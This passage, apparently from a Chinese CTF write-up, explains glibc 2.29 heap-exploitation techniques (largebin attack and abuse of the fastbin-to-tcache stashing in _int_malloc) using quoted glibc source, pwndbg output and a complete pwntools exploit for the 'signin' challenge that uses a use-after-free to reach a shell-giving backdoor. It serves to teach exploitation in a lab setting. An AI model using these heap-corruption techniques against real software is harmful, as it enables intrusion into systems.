&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((unsigned long) (size)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; < (unsigned long) chunksize_nomask (bck->bk))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd = bck;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = bck->bk;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim->fd_nextsize = fwd->fd;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim->bk_nextsize = fwd->fd->bk_nextsize;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; assert (chunk_main_arena (fwd));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while ((unsigned long) size < chunksize_nomask (fwd))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd = fwd->fd_nextsize;
&nbsp; &nbsp; &nbsp; &nbsp; assert (chunk_main_arena (fwd));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((unsigned long) size
&nbsp; &nbsp; &nbsp; &nbsp; == (unsigned long) chunksize_nomask (fwd))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Always insert in the second position.&nbsp; */
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd = fwd->fd;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; //原本在largebin(fwd)的size和要放入的largebin(victim)的size不等
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim->fd_nextsize = fwd;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim->bk_nextsize = fwd->bk_nextsize;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd->bk_nextsize = victim;&nbsp; //!!!!
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim->bk_nextsize->fd_nextsize = victim;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck = fwd->bk;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim->fd_nextsize = victim->bk_nextsize = victim;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mark_bin (av, victim_index);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim->bk = bck;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; victim->fd = fwd;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwd->bk = victim;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bck->fd = victim;

所以我们可以利用程序里的UAF漏洞伪造好fwd->bk_nextsize,随后的victim->bk_nextsize->fd_nextsize = victim;就会在fwd->bk_nextsize+0x20的位置写入victim这个值,如果我们让这个堆地址写入到heap_base+0x20的位置就能使用后门函数了,这里要注意的一个点就是待插入的chunk的size要和已经在largebin里的chunk的size不相等。

来看看效果:把unsortedbin放入largebin之前

放入后(这里的堆基地址为0x565505852000)

可以看到0x220大小的chunk被改为了有48个,这样我们就可以利用后门函数申请到__malloc_hook了

具体的exp见 https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man

方法3

方法3是在打今年某公益ctf的时候学到的,题目名字叫signin

程序逻辑很短,只能add10次:

dele后flags会置零,但指针没置零,故可以UAF:

但是不能double free,因为glibc2.29在free tcache的时候会对tcache进行check:

/* This test succeeds on double free.&nbsp; However, we don‘t 100%
&nbsp; &nbsp; &nbsp;trust it (it also matches random payload data at a 1 in
&nbsp; &nbsp; &nbsp;2^<size_t> chance), so verify it‘s not an unlikely
&nbsp; &nbsp; &nbsp;coincidence before aborting.&nbsp; */
&nbsp; if (__glibc_unlikely (e->key == tcache))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; tcache_entry *tmp;
&nbsp; &nbsp; &nbsp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
&nbsp; &nbsp; &nbsp; for (tmp = tcache->entries[tc_idx];
&nbsp; &nbsp; &nbsp;tmp;
&nbsp; &nbsp; &nbsp;tmp = tmp->next)
&nbsp; &nbsp; &nbsp; &nbsp; if (tmp == e)
&nbsp; &nbsp; malloc_printerr ("free(): double free detected in tcache 2");
&nbsp; &nbsp; &nbsp; /* If we get here, it was a coincidence.&nbsp; We‘ve wasted a
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;few cycles, but don‘t abort.&nbsp; */
&nbsp; &nbsp; }

还有就是仅有的一次edit机会和一个后门,不过后门要满足bss段中的ptr不为零:

这里一开始想到的也是unsortedbin attack,如果能攻击到bss段中的ptr,那我们就能getshell了,但是这题申请的堆块固定了是0x70,故也就不能利用unsortedbin attack

我们可以看到这个backdoor函数很诡异,为什么要平白无故调用一个calloc,然后又想到程序限制了申请的堆块大小为0x70,是在fastbin的范围里,顺着这两点,去看源码,最后找到了利用点:

static void *
_int_malloc (mstate av, size_t bytes)
{
&nbsp; ...............................
#if USE_TCACHE
&nbsp; size_t tcache_unsorted_count;&nbsp; &nbsp; &nbsp; /* count of unsorted chunks processed */
#endif
&nbsp; checked_request2size (bytes, nb);

&nbsp; /* There are no usable arenas.&nbsp; Fall back to sysmalloc to get a chunk from
&nbsp; &nbsp; &nbsp;mmap.&nbsp; */
&nbsp;.....................................................
&nbsp; /*
&nbsp; &nbsp; &nbsp;If the size qualifies as a fastbin, first check corresponding bin.
&nbsp; &nbsp; &nbsp;This code is safe to execute even if av is not yet initialized, so we
&nbsp; &nbsp; &nbsp;can try it without checking, which saves some time on this fast path.
&nbsp; &nbsp;*/
...................................&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;

&nbsp; if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; idx = fastbin_index (nb);
&nbsp; &nbsp; &nbsp; mfastbinptr *fb = &fastbin (av, idx);
&nbsp; &nbsp; &nbsp; mchunkptr pp;
&nbsp; &nbsp; &nbsp; victim = *fb;

&nbsp; &nbsp; &nbsp; if (victim != NULL)
&nbsp; {
&nbsp; &nbsp; if (SINGLE_THREAD_P)
&nbsp; &nbsp; &nbsp; *fb = victim->fd;
&nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; REMOVE_FB (fb, pp, victim);
&nbsp; &nbsp; if (__glibc_likely (victim != NULL))
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; size_t victim_idx = fastbin_index (chunksize (victim));
&nbsp; &nbsp; &nbsp; &nbsp; if (__builtin_expect (victim_idx != idx, 0))
&nbsp; &nbsp; malloc_printerr ("malloc(): memory corruption (fast)");
&nbsp; &nbsp; &nbsp; &nbsp; check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
&nbsp; &nbsp; &nbsp; &nbsp; /* While we‘re here, if we see other chunks of the same size,
&nbsp; &nbsp; &nbsp;stash them in the tcache.&nbsp; */
&nbsp; &nbsp; &nbsp; &nbsp; size_t tc_idx = csize2tidx (nb);
&nbsp; &nbsp; &nbsp; &nbsp; if (tcache && tc_idx < mp_.tcache_bins)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; mchunkptr tc_victim;

&nbsp; &nbsp; &nbsp; /* While bin not empty and tcache not full, copy chunks.&nbsp; */
&nbsp; &nbsp; &nbsp; while (tcache->counts[tc_idx] < mp_.tcache_count
&nbsp; &nbsp; &nbsp; &nbsp;&& (tc_victim = *fb) != NULL)
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (SINGLE_THREAD_P)
&nbsp; &nbsp; &nbsp; *fb = tc_victim->fd;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else
&nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; REMOVE_FB (fb, pp, tc_victim);
&nbsp; &nbsp; &nbsp; &nbsp; if (__glibc_unlikely (tc_victim == NULL))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tcache_put (tc_victim, tc_idx);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
#endif

我们可以看到这句注释:/* While bin not empty and tcache not full, copy chunks. */,应该是fastbin再取下一块之后,如果fastbin还有剩余,而且对应大小的tcache没满,就把它放到对应大小的tcache,而且这里没有任何检查,在跟进去tcache_put:

tcache_put (mchunkptr chunk, size_t tc_idx)
{
&nbsp; tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
&nbsp; assert (tc_idx < TCACHE_MAX_BINS);

&nbsp; /* Mark this chunk as "in the tcache" so the test in _int_free will
&nbsp; &nbsp; &nbsp;detect a double free.&nbsp; */
&nbsp; e->key = tcache;

&nbsp; e->next = tcache->entries[tc_idx];
&nbsp; tcache->entries[tc_idx] = e;
&nbsp; ++(tcache->counts[tc_idx]);
}

这有句e->key = tcache;这是为了检查tcache的double free,如果我们伪造了那个fastbin chunk,我们就可以往chunk+0x18的位置写入tcache的值,效果和原来的unsortedbin attack很像。效果:

pwndbg> bins
tcachebins
0x80 [&nbsp; 6]: 0x21c84e0 —? 0x21c8460 —? 0x21c83e0 —? 0x21c8360 —? 0x21c82e0 —? 0x21c8260 ?— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x21c8650 —? 0x4040a8 ?— 0xffffffff00000000

调用calloc后:

pwndbg> bins
tcachebins
0x80 [&nbsp; 7]: 0x4040b8 (completed) —? 0x21c84e0 —? 0x21c8460 —? 0x21c83e0 —? 0x21c8360 —? 0x21c82e0 —? 0x21c8260 ?— 0x0
pwndbg> telescope 0x4040b8+8
00:0000│&nbsp; &nbsp;0x4040c0 (ptr) —? 0x21c8010 ?— 0x7000000000000
01:0008│&nbsp; &nbsp;0x4040c8 ?— 0x0

成功把tcache写入ptr,这也是为什么后门函数在一开始会有个诡异的calloc,顺带一提的是calloc不会使用tcache里的堆块

exp:

from pwn import *

context.arch = ‘amd64‘

def cmd(c):
&nbsp; p.recvuntil("your choice?")
&nbsp; p.sendline(str(c))

def add(idx):
&nbsp; cmd(1)
&nbsp; p.recvuntil("idx?")
&nbsp; p.sendline(str(idx))
def dele(idx):
&nbsp; cmd(3)
&nbsp; p.recvuntil("idx?")
&nbsp; p.sendline(str(idx))
def edit(idx,content):
&nbsp; cmd(2)
&nbsp; p.recvuntil("idx?")
&nbsp; p.send(str(idx).ljust(0xf,"\x00"))
&nbsp; p.send(content)

def main(host,port=4205):
&nbsp; global p
&nbsp; if host:
&nbsp; &nbsp; p = remote(host,port)
&nbsp; else:
&nbsp; &nbsp; p = process("./pwn")
&nbsp; &nbsp; gdb.attach(p,"b *0x000000000401343")
&nbsp; &nbsp; # gdb.attach(p)
&nbsp; for i in range(9):
&nbsp; &nbsp; add(i)
&nbsp; for i in range(9):
&nbsp; &nbsp; dele(i)
&nbsp; edit(8,p64(0x0000000004040C0-0x18))
&nbsp; add(1)
&nbsp; cmd(6)
&nbsp; p.interactive()

if __name__ == "__main__":
&nbsp; # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
&nbsp; # elf = ELF("./re-alloc",checksec=False)
&nbsp; main(args[‘REMOTE‘])

后记

3种方法都介绍完毕了,这里在提一下glibc源码调试,这对我们解决题目有很大的帮助:

先下载一个Ubuntu19.04,用VMware装上,或者用docker去pull一个Ubuntu19.04的镜像

接着

搞好后,在程序运行时gdb贴上去/usr/src/glibc/glibc-2.29/是源码目录,然后后面的文件夹要自己指定下,比如我想源码调试malloc里的函数:

效果:

如果没敲directory /usr/src/glibc/glibc-2.29/malloc,就不会出现相对应的源码,个人觉得还是挺方便的,特别是涉及到chunk分配的时候,看着相对应的源码一行一行的debug,体验很好。

实验推荐==CTF-PWN练习之精确覆盖变量数据

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章